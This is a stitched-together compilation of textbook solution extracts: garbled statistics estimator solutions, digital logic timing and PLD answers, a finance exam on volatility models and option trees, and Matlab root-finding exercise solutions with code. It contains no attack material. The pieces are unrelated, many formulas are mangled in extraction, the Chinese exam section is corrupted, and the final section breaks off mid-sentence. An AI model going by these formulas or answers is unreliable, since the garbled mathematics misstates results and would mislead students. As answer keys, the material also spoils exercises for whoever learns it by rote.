5. Solution for Chapter 6

合集下载

数理统计学导论参考答案第章RV霍格

数理统计学导论参考答案第章RV霍格

2 .
Solution Given 2 , it is easily verify that the first order statistic can maximize the likelihood function, so the m. l. e. of 1 is the first order statistic Y1 . The likelihood function of the sample is
It is easily to understand that
X i ~ b(25,i ), i 1,2,3
So the m. l. e. of the unknown parameters is X1, X 2 , X 3 , respectively.
Thus the m. l. e. of
,
ln L 2
n 2
n ln1
ln xi
0
Thus we obtain the m. l. e. of 2
ˆ2
ln
n X i n ln Y1
.
6.6. Let
Yn
be a statistic such that
lim
n
E(Yn
)
and
lim
n
Yn
2
0
.
Prove
that
Yn
is consistent estimator of
(a) f (x, ) xe / x!, x 0, 1, 2,, 0 , zero elsewhere, where f (0,0) 1.
(b) f (x, ) x 1, 0 x 1,0 , zero elsewhere.
(c) f (x, ) 1 ex / , 0 x , 0 , zero elsewhere.

逻辑与计算机设计基础第4版第6章答案

逻辑与计算机设计基础第4版第6章答案

CHAPTER 6© 2008 Pearson Education, Inc.6-1.*6-2.6-3.6-4.*6-5.a) F = (A + B) C Db) G = (A + B) (C + D)a) 3-input NAND gate 6 inputs 16 inputs 16 inputsThe longest path is from input C or D.0.073 ns + 0.073 ns + 0.048 ns + 0.073 ns = 0.267 nsa)b)c)4.03.02.01.06.05.08.07.09.0 ns6-6.6-7. 6-8.+If the rejection time for inertial delays is greater than the propagation delay, then an output change can occur before it can be predicted whether or not it is to occur due to the rejection time.For example, with a delay of 2 ns and a rejection time of 3 ns, for a 2.5 ns pulse, the initialedge will have already appeared at the output before the 3 ns has elapsed at which whether to reject or not is to be determined.a) The propagation delay is t pd = max(t PHL = 0.05, t PLH = 0.10) = 0.10 ns.Assuming that the gate is an inverter, for a positive output pulse, the following actually occurs:If the input pulse is narrower than 0.05 ns, no output pulse occurs so the rejection time is 0.05 ns. The resulting model predicts the following results, which differ from the actual delay behavior, but models the rejection behavior: :0.10 ns0.05 ns0.10 ns0.10 ns6-9. 6-10.*b) For a negative output pulse, the following actually occurs:The model predicts the following results, which differs from the actual delay behavior andthe actual rejection behavior:Overall, the model is inaccurate for both cases a and b, and provides a faulty rejectionmodel for case b. Using an average of t PHL and t PLH for t pd would improve the delayaccuracy of the model for circuit applications, but the rejection model still fails.0.10 ns0.05 ns0.15 ns0.10 ns0.10 nsa)There is a setup time violation at 28 ns. There is an inputb)There is a setup time violation just before 24 ns, There is an inputc)There is a setup time violation at 28ns.d)There is a hold time violation at 16ns and a setup time violation at 24ns.combination violation around 24 ns.combination violation around 24 ns.a) The longest direct path delay is from input X through the two XOR gates to the output Y.t delay = t pdXOR + t pdXOR = 0.20 + 0.20 = 0.40 nsb) The longest path from an external input to a positive clock edge is from input X through the XOR gate and the inverter to the B Flip-flop.t delay = t pdXOR + t pd INV + t sFF = 0.20 + 0.05 + 0.1 = 0.35 nsc) The longest path delay from the positive clock edge is from Flip-flop A through the two XOR gates to the output Y.t delay = t pdFF + 2 t pdXOR = 0.40 + 2(0.20) = 0.80 nsd) The longest path delay from positive clock edge to positive clock edge is from clock on Flip-flop A through t delay-clock edge to clock edge = t pdFF + t pdXOR + t pdINV + t sFF = 0.40 + 0.20 + 0.05 + 0.10 = 0.75 nse) The maximum frequency is 1/t delay- clock edge to clock edge. For this circuit, t delay-clock edge to clock edgeis 0.75 ns, so the maximum frequency is 1/0.75 ns = 1.33 GHz.the XOR gate and inverter to clock on Flip-flop B.into its environment. Calculation of this frequency cannot be performed in this case since data for paths through the environment is not provided.Comment: The clock frequency may need to be lower due to other delay paths that pass outside of the circuit6-11.6-12.a) The longest direct path delay is from input X through the four XOR gates to the output Y.t delay = 4 t pdXOR = 4(0.20) = 0.80 nsb) The longest path from an external input to a positive clock edge is from input X through three XOR gates and the inverter to the clock of the second B Flip-flop.t delay = 3 t pdXOR + t pd INV + t sFF = 3(0.20) + 0.5 + 0.1 = 0.75 nsc) The longest path delay from the positive clock edge is from the first Flip-flop A through the four XOR gates to the output Y.t delay = t pdFF + 4 t pdXORR = 0.40 + 4(0.20) = 1.2 nsd) The longest path delay from positive clock edge to positive clock edge is from the first Flip-flop A through three XOR gates and one inverter to the clock of the second Flip-flop B.t delay-clock edge to clock edge = t pdFF + 3 t pdXOR + t pdINV + t sFF = 0.40+ 3(0.20) + 0.5 + 0.1 = 1.15 nse) The maximum frequency is 1/t delay-clock edge to clock edge. For this circuit, the delay is 1.15 nsso the maximum frequency is 1/1.15 ns = 870 MHz.Comment: The clock frequency may need to be lower due to other delay paths that pass outside of the circuit into its environment. Calculation of this frequency cannot be performed in this case since data for paths through the environment is not provided.AA6-13.*(Errata: Change "32 X 8" to "64 X 8" ROM)6-14. 6-15.6-16.IN OUT IN OUT IN OUT IN OUT 0000000000 00000100000001 01101000000011 00101100000100 1000 0000010000 00010100010001 01111000010011 00111100010100 1001 0000100000 00100100100001 10001000100011 01001100100101 0000 0000110000 00110100110001 10011000110011 01011100110101 0001 0001000000 01000101000010 00001001000011 01101101000101 0010 0001010000 01010101010010 00011001010011 01111101010101 0011 0001100000 01100101100010 00101001100011 10001101100101 0100 0001110000 01110101110010 00111001110011 10011101110101 0101 0010000000 10000110000010 01001010000100 00001110000101 0110 0010010000 10010110010010 01011010010100 00011110010101 0111 0010100001 00000110100010 01101010100100 00101110100101 1000 0010110001 00010110110010 01111010110100 00111110110101 1001 0011000001 00100111000010 10001011000100 01001111000110 0000 0011010001 00110111010010 10011011010100 01011111010110 0001 0011100001 01000111100011 00001011100100 01101111100110 0010 0011110001 01010111110011 00011011110100 01111111110110 0011a)16 + 16 + 1 = 33 address bits and 16 + 1 = 17 output bits, 8G × 17b)8 + 8 + 1 + 1 = 18 address bits and 8 + 1 = 9 output bitsc) 4 × 4 = 16 address bits and 14 output bits are needed, 64K × 14XYZXYZXYZXYZA B C D1111111111111111B = XY + XY + YZC = YZ C = YZ + Z A = XY + XY + YZBy using A instead of A and YZ instead of Y in D, YZ can be shared by all four functions. Further, since A is the complement of B, terms XY and XY can be shared between A and B. Thus, only four product terms YZ, XY, XY, and Z are required.An inversion must be programmed for A.6-17.6-18.6-19.*XY ZXYZ X YZ XY Z XYZ111111111X YZ 11AB CDEF11A = XYB = X + YZC = XY + X Y + ZD = YZE = 0F = ZImplementation of A, D, and E requires only two terms, XY and YZ. Straightforward implementation of B, C, and F requires four terms, XY , XYZ, XYZ, and Z. By implementing B, C, and F, only three additional termsX, X Y , and Z are required. So we form the solution using five product terms: XY , YZ, X Y, X, and Z. The solution is described by the equations given with the six K-maps.ABC D A BC D A BC D A BC D W X Y Z The values given in the four K-maps come from Table 3-1 on page 99.100110001100001111110000110011001111100d d d d dd d d d d dd d d d ddd d d d d dd W = A B + BC DX = BC D + BC + BD Y = CD + C D Z = D In this case, shared terms are limited. One such term B C D is generated in W.Assume 3-input OR gates.ABC DABC D ABCD ABC D W 100110001100001111110000110011001111100d d d d dd d d d ddd d d d ddd d d d d dd W = A + BC + BDX = BC D + BC + BD Y= CD + C D Z = D Each of the equations above is implemented using one 3-input OR gate. Four gates are used.6-20.6-21.X Y ZXYZX YZX Y Z11111111A B CD1A = XZ + YZ + X YZ B = XY + YZ + X YC = A + XYD = XY + Z1111111111Figure 6-23 uses 3-input OR gates.A, B, and D each require three or fewer product terms so can be implemented with 3-input OR gates.C requires four terms so cannot be implemented with a 3-input OR gate. But because the first PAL device outputcan used as an input to implement other functions it can be assigned to A and A can then be used to implement C using just two inputs of a 3-input OR gate.A ABCDABCD F111111111111111111GFigure 6-23 uses 3-input OR gates.Straightforward implementation of F requires five prime implicants and of G requires four prime implicants, but only 3 inputs are available on the PAL OR gates. So sum-of-products that can be factored from F and G or both and implemented by the other PAL cells are needed. A single sum of products that will work is H = ABC + BCD + BCD. The terms of H are shown with dotted lines on the K-maps. Using H:F = H + CD + ABG =H + AB There are other possible functions for H and corresponding results for F and H.。

小学上册第6次英语第5单元综合卷(有答案)

小学上册第6次英语第5单元综合卷(有答案)

小学上册英语第5单元综合卷(有答案)英语试题一、综合题(本题有100小题,每小题1分,共100分.每小题不选、错误,均不给分)1.Erosion can reshape the landscape and create new __________.2.I have _____ (ten/twenty) fingers.3.What is the capital of the Seychelles?A. VictoriaB. MahéC. PraslinD. La Digue答案:a4.How many letters are in the English alphabet?A. 24B. 25C. 26D. 27答案: C5. A ____(natural resource management) aims for responsible use.6. A solution with a pH of is very ______.7.The ________ is a major river in China.8.She likes to ______ with her friends. (play)9.My best friend and I like to ride our ______ (自行车) around the ______ (公园). We have so much fun together.10.What is the largest organ inside the human body?A. LiverB. HeartC. BrainD. Lung答案: A11.My sister loves __________ (时装).12.The chemical reaction between an acid and a base produces __________.13.My __________ (玩具名) helps me learn to __________ (动词).14.What do you call the time after noon?A. MorningB. AfternoonC. EveningD. Night答案: B15.What is the capital of Zambia?A. LusakaB. NdolaC. KitweD. Livingstone答案: A16.I can ___ (tell) a story.17.My cat loves to watch _______ (鸟) outside the window.18.I like to _______ my family.19. A __________ is an area where people gather for events.20.The chemical formula for nitric acid is __________.21.My dad loves to ________ (钓鱼).22.I like to play outside with my _______ (我喜欢和我的_______在外面玩).23.The kitten likes to chase a _________. (线)24.The ancient Romans created a complex ______ (社会) structure.25.Read and match.(看图连线。

Chapter 6 - Solid Solutions

Chapter 6 - Solid Solutions
CHAPTER 6
Solid Solutions
22. P A I R P R O B A B I L I T Y F U N C T I O N S : THERMODYNAMIC PROPERTIES
A solid phase containing two or more kinds of atom, the relative proportions of which may be varied within limits, is described as a solid solution. Terminal solid solutions are based on the structures of the component metals; intermediate solid solutions may have structures which are different from any of those of the constituents. Most solid solutions are of the substitutional type, in which the different atoms are distributed over one or more sets of common sites, and may interchange positions on the sites. In interstitial solutions, the solute atoms occupy sites in the spaces between the positions of the atoms of the solvent metal; this can only happen when the solute atoms are much smaller than the atoms of the solvent. We must also distinguish between ordered and disordered solid solutions. In the fully ordered state each set of atoms occupies one set of positions, so that the atomic arrangement is similar to that of a compound. This is only possible at compositions where the ratios of the numbers of atoms of different kinds are small integral numbers, but the atomic arrangement may still be predominantly ordered in this way for alloys of arbitrary composition. In disordered solid solutions, the atoms are distributed among the sites they occupy in a nearly random manner. This classification is only approximate, and we shall formulate these concepts more precisely. The definition of the unit cell, and the concept of the translational periodicity of the lattice, lose their strict validity when applied to a disordered solid solution. The mean positions of the atoms, considered as mathematical points, will no longer be specified exactly by (5.8), since there will be local distortions depending on the details of the local configurations. Moreover, a knowledge of the type of atom at one end of a given interatomic vector no longer implies knowledge of the atom at the other end, as it does for a pure component or a fully ordered structure. In a solid solution, precise statements of this nature have to be replaced by statements in terms of the probability of the atom being of a certain type. For many purposes, the strict non-periodicity of the structure is not important, since most physical properties are averages over reasonably large numbers of atoms. Thus the positions of X-ray diffraction maxima depend only on the average unit cell dime Theory of Transformations in Metals and Alloys

雅思真经chapter6科技发明类的单词

雅思真经chapter6科技发明类的单词

雅思(IELTS)考试是全球范围内最受欢迎的英语语言考试之一,雅思考试的科技发明类话题在雅思写作考试中也是非常经典的话题之一。

在雅思写作考试中,对于科技发明类话题的词汇积累是非常重要的,能够合理运用科技发明类的单词不仅可以使文章看起来更加专业和丰富,也可以为文章的表达增色不少。

本文将系统整理雅思真经chapter6科技发明类的单词,并提供一些实用的句子搭配,希望对考生们在备考雅思写作考试中能有所帮助。

1. invention n. 发明- The invention of the Internet has greatly changed people's way of life and work.2. innovation n. 创新- The rapid development of technology has brought about continuous innovation in various fields.3. breakthrough n. 突破- The breakthrough in medical technology has significantly prolonged the average lifespan of people.4. patent n. 专利- Manypanies invest heavily in research and development to obt本人n patents for their technological innovations.5. gadget n. 小器具- The new gadget has revolutionized the way peoplemunicate and interact.6. device n. 设备- The latest mobile device is equipped with advanced features for better user experience.7. technology n. 科技- With the advancement of technology, the world is bing more interconnected and smarter.8. digitalization n. 数字化- The digitalization of information has greatly improved the efficiency of data management.9. automation n. 自动化- The automation of production processes has led to increased productivity and reduced labor costs.10. artificial intelligence n. 人工智能- Artificial intelligence is expected to have a profound impacton various industries in the near future.11. virtual reality n. 虚拟现实- The application of virtual reality technology has opened up new possibilities in entert本人nment and education.12. biotechnology n. 生物技术- Biotechnology has played a significant role in improving crop yields and medical treatments.13. renewable energy n. 可再生能源- The development of renewable energy has be an important solution to environmental problems.14. nanotechnology n. 纳米技术- Nanotechnology has the potential to revolutionize various industries with its microscopic scale applications.15. sust本人nable development n. 可持续发展- Sust本人nable development requires the integration of economic growth, social progress, and environmental protection.16. information technology n. 信息技术- The rapid development of information technology has reshaped the way people work,municate, and learn.17. genetic engineering n. 基因工程- Genetic engineering has been used to enhance the tr本人ts of various organisms for agricultural and medical purposes.18. telmunication n. 电信- The advancement in telmunication technology has enabled global connectivity and instantmunication.19. cyberspace n. 虚拟空间- Cyberspace has be an integral part of modern society, transforming the way people access information and interact.20. network n. 网络- The Internet has connected people around the world through aplex network of information exchange.21. satellite n. 卫星- Satellite technology has enabled globalpositioning,munication, and observation capabilities.22. robotics n. 机器人技术- Robotics technology has been widely used in manufacturing, healthcare, and space exploration.23. 3D printing n. 三维打印- 3D printing has brought about a new era of on-demand and customized manufacturing.24. innovation-driven 发展创新驱动- China's development has shifted towards an innovation-driven model to stimulate economic growth.25. scientific research 科学研究- Scientific research plays a crucial role in advancing knowledge and technological progress.以上是雅思真经chapter6科技发明类的一些重要单词,这些单词涵盖了科技发明类话题的各个方面,希望考生们能够在备考雅思写作考试时有所帮助。

chapter6金融工程

chapter6金融工程

18ÙSimple Implementing ofOption Oricing Models!W K1.In the EWMA model and the GARCH(1,1)model,the weights assigned to observa-tions decrease as the observations become older.2.The GARCH(1,1)model differs from the EWMA model in that some weight is alsoassigned to the.3.When the current volatility is above the long-term volatility,the GARCH(1,1)modelestimates a volatility term structure.4.Suppose thatλis0.8,the volatility estimated for a market variable for day n-1is2%per day,and during day n-1the market variable increased by3%.Then the estimate of the volatility for day n is.5.Suppose thatλ=0.9,and the estimate of the correlation between two variables Xand Y on day n-1is0.7.Supposeσx,n−1=2%,σy,n−1=3%,u x,n−1=0.4%,u y,n−1=2.5%.The covariance for day n wouled be.6.For an American option,the value at a node is the greater of,and thediscounted expected value if it is held for a further period of timeδt.7.Finite difference methods solve the underlying by covert it to a differenceequation.8.The explicit method is functionally the same as using a.9.involves dividing the distribution into ranges or intervals and sampling fromeach interval according to its probability.1218ÙSIMPLE IMPLEMENTING OF OPTION ORICING MODELS10.Currencies and futures contracts can,for the purposes of option evaluation,be con-sidered as assets providing known yields.In the case of a currency,the relevant yield is the;in the case of a futures contract,it is the.!üÀK(3z¢K o À Y¥ÀJ ( Y èW\K )ÒS)1.Which model is not used to produce estimates of volatilities()A.EWMAB.ARCHC.CRRD.GARCH2.In an EWMA model,the weights of the u i declines at rate as we move backthrough time.()C.λ2D.1−λA.λB.1λ3.When use variance targeting approach to estimate parameters in GARCH(1,1),thereare only parameters have to be estimated.()A.1B.2C.3D.44.The parameters of a GARCH(1,1)model are estimated asω=0.000004,α=0.05,β=0.92.What is the long-run average volatility?()A.0.00013B.0.013C.0.00025D.0.0255.The most recent estimate of the daily volatility of USD\GBP exchange rate is0.55%and the exchange rate at4p.m.yesterday was1.4950.The parameterλin the EWMA model is0.95.Suppose that the exchange rate at4p.m.today proves to be1.4850,the estimate of the daily volatility is()A.2.900B.2.874C.0.2874D.0.29006.Which of the following can be estimated for an American option by constructing asingle binomial tree?()A.DeltaB.VegaC.GammaD.Theta7.Which is not particularly useful when the holder has early exercise decisions in Amer-ican options?()A.Monte Carlo SimulationB.Binomial Frees modelC.Finite Difference MethodsD.Trinomial Trees model38.Which model can be used when the payoffdepends on the path followed by theunderlying variable S as well as when it depends only on thefinal value of S?()A.Binomial Trees modelB.Trinomial Trees modelC.Finite Difference MethodsD.Monte Carlo Simulation9.Consider a four-month American call option on index futures where the risk-freeinterest rate is9%per annum,and the volatility of the index is40%per annum.We divide the life of the option into four one-month periods for the purposes of con-structing the tree.Then the growth factor a equals:()A.1B.e9%×0.0833C.e9%D.e40%×t0.083310.In a binomial model for a dividend-paying stock,when the dollar amount dividend isknown,there are nodes on the tree at time iδt.()A.i+1B.iC.2iD.i2n!§äK(3 ( K )ÒS y”√”§ Ø K )ÒS y”×”)1.Black-Scholes model assume that the volatility of the underlying asset is not constant.()2.In the EWMA model,some weight is assigned to the long-run average variance rate.()3.When we build up models to forecast volatility,u is assumed to be zero.()4.In the ARCH(m)model,the older an observation,the less weight it is given.()5.The EWMA approach has the attractive feature that relatively little date need tobe stored.At any given time,we need to remember only the current estimate of the variance rate and the most recent observation on the value of the market variable.()6.For a stable GARCH(1,1)process,we requireα+β>1,then the GARCH(1,1)processis’mean reverting’rather than’meanfleeing’.()7.The EWMA model incorporates mean reversion,whereas the GARH(1,1)model dosenot.()8.For a series x i,the autocorrelation with a lag of k is the coefficient of correlationbetween x i and x i+k.()418ÙSIMPLE IMPLEMENTING OF OPTION ORICING MODELS9.When the current volatility is below the long-term volatility,it estimates an downward-sloping volatility term structure.()10.Suppose there is a big move in the market variable on day n-1,the estimate of thecurrent volatility moves upward.()11.Monte Carlo simulation is used primarily for derivatives where the payoffis depen-dent on the history of the underlying variable or where there are several underlying variables.()12.Binomial trees andfinite difference methods are not useful when the holder has earlyexercise decisions to make prior to maturity.()13.In binomial trees model,the derivatives can be value by discounting their expectedvalues at the risk-free interest rate.()14.Currencies can be considered as assets providing known yields,and the relevant yieldis domestic risk-free interest rate.()15.The tree does not recombine when the dividend yield is known.()16.The control variate technique used by binomial trees needs to calculate the Blank-Scholes price of the European option.()17.The CRR is the only way to construct binomial trees.()18.The advantage of Monte Carlo simulation is that it is computationally very time-saving.()19.In Monte Carlo simulation the uncertainty about the value of the derivative is in-versely proportional to the square root of the number of trials.()20.The implicitfinite difference has the advantage of being very robust.It always con-verges to the solution of the differential equation as s and t approach zero.()o!O K1.The volatility of a certain market variable is30%per annum.Calculate a99%confi-dence interval for the size of the percentage daily change in the variable.52.Assume that S&P500at close of trading yesterday was1040and the daily volatility ofthe index was estimated ai1%per day at that time.The parameters in a GARCH(1,1) model areω=0.000002,α=0.06,β=0.92.If the level of the index at close of trading today is1060,what is the new volatility estimate?3.Suppose that the current daily volatilities of asset A and asset B are1.6%and2.5%,respectively.The prices of the assets at close of trading yesterday were$20and$40and the estimate of the coefficient of correlation between the returns on the two assets made at that time was0.25.The parameterλused in the EWMA model is0.95.a.Calculate the current estimate of the covariance between the assets.b.On the assumption that the prices of the assets at close of trading today are$20.5and$40.5,update the correlation estimate.4.A three-month American call option on a stock has a strike a strike price of$20.Thestock price is$20,the risk-free rate is3%per annum,and the volatility is25%per annum.A dividend of$2is expected e a three-step binomial tree to calculate the option price.5.A two-month American put option on a stock index has an exercise price of480.Thecurrent level of the index is484,the risk-free interest rate is10%per annum,the dividend yield on the index is3%per annum,and the volatility of the index is25% per annum.Divide the life of the option into four half-month periods and use the tree approach to estimate the value of the option.6.Provide formulas that can be used for obtaining three random samples from standardnormal distributions when the correlation between sample i and sample j isρi,j.Ê!¶c)º1.maximum likelihood method2.volatility term structure3.mean reversion4.GARCH(1,1)5.antithetic variable technique618ÙSIMPLE IMPLEMENTING OF OPTION ORICING MODELS6.stratified sampling7.finite difference8.hopscotch method8!{ K1.What is the difference between the exponentially weighted moving average modeland the GARCH(1,1)model for updating volatilities?2.A company uses the GARCH(1,1)model for updating volatility.The three parame-ters areω,αandβ.Describe the impact of making a small increase in each of the parameters while keeping the othersfixed.3.Which of the following can be estimated for an American option by constructing asingle binomial tree:delta,gamma,vega,theta,rho?4.Explain how the control variate technique is implemented when a tree is used tovalue American options.5.Explain why the Monte Carlo simulation approach cannot easily be used for American-style derivatives.。

ch06partSolution

ch06partSolution

Selected Solutions for Exercises inNumerical Methods with Matlab:Implementations and ApplicationsGerald W.RecktenwaldChapter6Finding the Roots of f(x)=0The following pages contain solutions to selected end-of-chapter Exercisesfrom the book Numerical Methods with Matlab:Implementations andApplications,by Gerald W.Recktenwald,c 2000,Prentice-Hall,Upper Saddle River,NJ.The solutions are c 2000Gerald W.Recktenwald.ThePDF version of the solutions may be downloaded or stored or printed onlyfor noncommercial,educational use.Repackaging and sale of these solutionsin any form,without the written consent of the author,is prohibited.The latest version of this PDFfile,along with other supplemental material for the book,can be found at /recktenwald.2Finding the Roots of f(x)=0 6–2The function f(x)=sin(x2)+x2−2x−0.09has four roots in the interval−1≤x≤3.Given the m-file fx.m,which containsfunction f=fx(x)f=sin(x.^2)+x.^2-2*x-0.09;the statement>>brackPlot(’fx’,-1,3)produces only two brackets.Is this result due to a bug in brackPlot or fx?What needs to be changed so that all four roots are found?Demonstrate that your solution works.Partial Solution:The statement>>Xb=brackPlot(’fx’,-1,3)Xb=-0.15790.05262.1579 2.3684returns two brackets.A close inspection of the plot of f(x)reveals that f(x)crosses the x-axis twice near x=1.3.These two roots are missed by brackPlot because there default search interval is too coarse.There is no bug in brackPlot.Implementing a solution using afiner search interval is left as an exercise.6–11Use the bisect function to evaluate the root of the Colebrook equation(see Exercise8) for /D=0.02and Re=105.Do not modify bisect.m.This requires that you write an appropriate function m-file to evaluate the Colebrook equation.Partial Solution:Using bisect requires writing an auxiliary function to evaluate the Cole-brook equation in the form F(f)=0,where f is the friction factor.The following form of F(f)is used in the colebrkz function listed below.F(f)=1√f+2log10/D3.7+2.51Re D√fMany other forms of F(f)will work.function ff=colebrkz(f)%COLEBRKZ Evaluates the Colebrook equation in the form F(f)=0%for use with root-finding routines.%%Input:f=the current guess at the friction factor%%Global Variables:%EPSDIA=ratio of relative roughness to pipe diameter%REYNOLDS=Reynolds number based on pipe diameter%%Output:ff=the"value"of the Colebrook function written y=F(f)%Global variables allow EPSDIA and REYNOLDS to be passed into%colebrkz while bypassing the bisect.m or fzero functionglobal EPSDIA REYNOLDSff=1.0/sqrt(f)+2.0*log10(EPSDIA/3.7+2.51/(REYNOLDS*sqrt(f)));Because the bisect function(unlike fzero)does not allow additional parameters to be passed through to the F(f)function,the values of /D and Re are passed to colebrkz via global variables.Running bisect with colebrkz is left to the reader.For Re=1×105and /D=0.02the solution is f=0.0490.Copyright c 2000,Gerald W.Recktenwald.Photocopying is permitted only for non-commercial educational purposes.Chapter6:Finding the Roots of f(x)=03 6–13Derive the g3(x)functions in Example6.4and Example6.5.(Hint:What is thefixed-pointformula for Newton’s method?)Partial Solution:Thefixed point iteration formulas designated as g3(x)in Example6.4 and Example6.5are obtained by applying Newton’s method.The general form of Newton’smethod for a scalar variable isx k+1=x k−f(x k) f (x k)Example6.4:The f(x)function and its derivative aref(x)=x−x1/3−2f (x)=1−13x−2/3Substituting these expressions into the formula for Newton’s method and simplifying givesx k+1=x k−x k−x1/3k−21−(1/3)x−2/3k=x k(1−(1/3)x−2/3k)−(x k−x1/3k−2)1−(1/3)x−2/3k=x k−(1/3)x1/3k−x k+x1/3k+21−(1/3)x−2/3k=(2/3)x1/3k+21−(1/3)x k=2x1/3k+63−x−2/3kRepeating this analysis for Example6.5is left as an exercise.Copyright c 2000,Gerald W.Recktenwald.Photocopying is permitted only for non-commercial educational purposes.4Finding the Roots of f(x)=0 6–17K.Wark and D.E.Richards(Thermodynamics,6th ed.,1999,McGraw-Hill,Boston,Example 14-2,pp.768–769)compute the equilibrium composition of a mixture of carbon monoxide and oxygen gas at one atmosphere.Determining thefinal composition requires solving3.06=(1−x)(3+x)1/2 x(1+x)1/2for x.Obtain afixed-point iteration formula forfinding the roots of this equation.Implement your formula in a Matlab function and use your function tofind x.If your formula does not converge,develop one that does.Partial Solution:Onefixed point iteration formula is obtained by isolating the factor of (3+x)in the numerator.3.06x(1+x)1/21−x =(3+x)1/2=⇒x=3.06x(1+x)1/21−x2−3=⇒g1(x)=3.06x(1+x)1/21−x2−3Anotherfixed point iteration formula is obtained by solving for the isolated x in the denomi-nator to getx=(1−x)(3+x)1/23.06(1+x)=⇒g2(x)=(1−x)(3+x)1/23.06(1+x)Performing10fixed point iterations with g1(x)givesit xnew1-7.6420163e-012-2.5857113e+003-1.0721050e+014-7.9154865e+015-7.1666488e+026-6.6855377e+037-6.2575617e+048-5.8590795e+059-5.4861826e+0610-5.1370394e+07Thus,g1(x)does not converge.The g2(x)function does converge to the true root of x= 0.340327....Matlab implementations of thefixed point iterations are left as an Exercise. Copyright c 2000,Gerald W.Recktenwald.Photocopying is permitted only for non-commercial educational purposes.Chapter6:Finding the Roots of f(x)=05 6–24Create a modified newton function(say,newtonb)that takes a bracket interval as input instead of a single initial guess.From the bracket limits take one bisection step to determine x0,the initial guess for Newton e the bracket limits to develop relative tolerances on x and f(x)as in the bisect function in Listing6.4.Solution:The newtonb function is listed below.The demoNewtonb function,also listed below, repeats the calculations in Example6.8with the original newton function and with the new newtonb function.Running demoNewtonb gives>>demoNewtonbOriginal newton function:Newton iterations for fx3n.mk f(x)dfdx x(k+1)1-4.422e-018.398e-01 3.526644293139032 4.507e-038.561e-01 3.521380147397333 3.771e-078.560e-01 3.521379706804574 2.665e-158.560e-01 3.5213797068045750.000e+008.560e-01 3.52137970680457newtonb function:Newton iterations for fx3n.mk f(x)dfdx x(k+1)1-4.422e-018.398e-01 3.526644293139032 4.507e-038.561e-01 3.521380147397333 3.771e-078.560e-01 3.521379706804574 2.665e-158.560e-01 3.5213797068045750.000e+008.560e-01 3.52137970680457The two implementations of Newton’s method give identical results because the input to newtonb is the bracket[2,4].This causes the initial bisection step to produce the same initial guess for the Newton iterations that is used in the call to newton.function demoNewtonb%demoNewtonb Use newton and newtonb to find the root of f(x)=x-x^(1/3)-2%%Synopsis:demoNewton%%Input:none%%Output print out of convergence history,and comparison of methodsfprintf(’\nOriginal newton function:\n’);r=newton(’fx3n’,3,5e-16,5e-16,1);fprintf(’\nnewtonb function:\n’);rb=newtonb(’fx3n’,[24],5e-16,5e-16,1);Copyright c 2000,Gerald W.Recktenwald.Photocopying is permitted only for non-commercial educational purposes.6Finding the Roots of f(x)=0 function r=newtonb(fun,x0,xtol,ftol,verbose)%newtonb Newton’s method to find a root of the scalar equation f(x)=0%Initial guess is a bracket interval%%Synopsis:r=newtonb(fun,x0)%r=newtonb(fun,x0,xtol)%r=newtonb(fun,x0,xtol,ftol)%r=newtonb(fun,x0,xtol,ftol,verbose)%%Input:fun=(string)name of mfile that returns f(x)and f’(x).%x0=2-element vector providing an initial bracket for the root%xtol=(optional)absolute tolerance on x.Default:xtol=5*eps%ftol=(optional)absolute tolerance on f(x).Default:ftol=5*eps%verbose=(optional)flag.Default:verbose=0,no printing.%%Output:r=the root of the functionif nargin<3,xtol=5*eps;endif nargin<4,ftol=5*eps;endif nargin<5,verbose=0;endxeps=max(xtol,5*eps);feps=max(ftol,5*eps);%Smallest tols are5*epsif verbosefprintf(’\nNewton iterations for%s.m\n’,fun);fprintf(’k f(x)dfdx x(k+1)\n’);endxref=abs(x0(2)-x0(1));%Use initial bracket in convergence testfa=feval(fun,x0(1));fb=feval(fun,x0(2));fref=max([abs(fa)abs(fb)]);%Use max f in convergence testx=x0(1)+0.5*(x0(2)-x0(1));%One bisection step for initial guessk=0;maxit=15;%Current and max iterationswhile k<=maxitk=k+1;[f,dfdx]=feval(fun,x);%Returns f(x(k-1))and f’(x(k-1))dx=f/dfdx;x=x-dx;if verbose,fprintf(’%3d%12.3e%12.3e%18.14f\n’,k,f,dfdx,x);endif(abs(f/fref)<feps)|(abs(dx/xref)<xeps),r=x;return;endendwarning(sprintf(’root not found within tolerance after%d iterations\n’,k));Copyright c 2000,Gerald W.Recktenwald.Photocopying is permitted only for non-commercial educational purposes.Chapter6:Finding the Roots of f(x)=07 6–27Implement the secant method using Algorithm6.5and Equation(6.13).Test your program by re-creating the results in Example6.10.What happens if10iterations are performed?Replace the formula in Equation(6.13)withx k+1=x k−f(x k)(x k−x k−1)f(x k k−1,whereεis a small number on the order ofεm.How and why does this change the results? Partial Solution:The demoSecant function listed below implements Algorithm(6.5)using Equation(6.13).The f(x)function,Equation6.3,is hard-coded into demoSecant.Note also that demoSecant performs ten iterations without checking for convergence.function demoSecant(a,b);%demoSecant Secant method for finding the root of f(x)=x-x^(1/3)-2=0%Implement Algorithm6.5,using Equation(6.13)%%Synopsis:demoSecant(a,b)%%Input:a,b=initial guesses for the iterations%%Output:print out of iterations;no return values.%copy initial guesses to local variablesxk=b;%x(k)xkm1=a;%x(k-1)fk=fx3(b);%f(x(k))fkm1=fx3(a);%f(x(k-1))fprintf(’\nSecant method:Algorithm6.5,Equation(6.13)\n’);fprintf(’n x(k-1)x(k)f(x(k))\n’);fprintf(’%3d%12.8f%12.8f%12.5e\n’,0,xkm1,xk,fk);for n=1:10x=xk-fk*(xk-xkm1)/(fk-fkm1);%secant formula for updating the rootf=fx3(x);fprintf(’%3d%12.8f%12.8f%12.5e\n’,n,xk,x,f);xkm1=xk;xk=x;%set-up for next iterationfkm1=fk;fk=f;endCopyright c 2000,Gerald W.Recktenwald.Photocopying is permitted only for non-commercial educational purposes.8Finding the Roots of f(x)=0 Running demoSecant with an initial bracket of[3,4](the same bracket used in Example6.10) gives>>demoSecant(3,4)Secant method:Algorithm6.5,Equation(6.13)n x(k-1)x(k)f(x(k))0 3.00000000 4.00000000 4.12599e-011 4.00000000 3.51734262-3.45547e-032 3.51734262 3.52135125-2.43598e-053 3.52135125 3.52137971 1.56730e-094 3.52137971 3.52137971-8.88178e-165 3.52137971 3.52137971-2.22045e-166 3.52137971 3.521379710.00000e+007 3.52137971 3.521379710.00000e+00Warning:Divide by zero.>In/werk/MATLAB_Book/SolutionManual/roots/mfiles/demoSecant.m at line228 3.52137971NaN NaN9NaN NaN NaN10NaN NaN NaNThe secant method has fully converged in6iterations.Continuing the calculations beyond convergence gives afloating point exception because f(x k)−f(x k−1)=0in the denominator of Equation(6.13).In general,it is 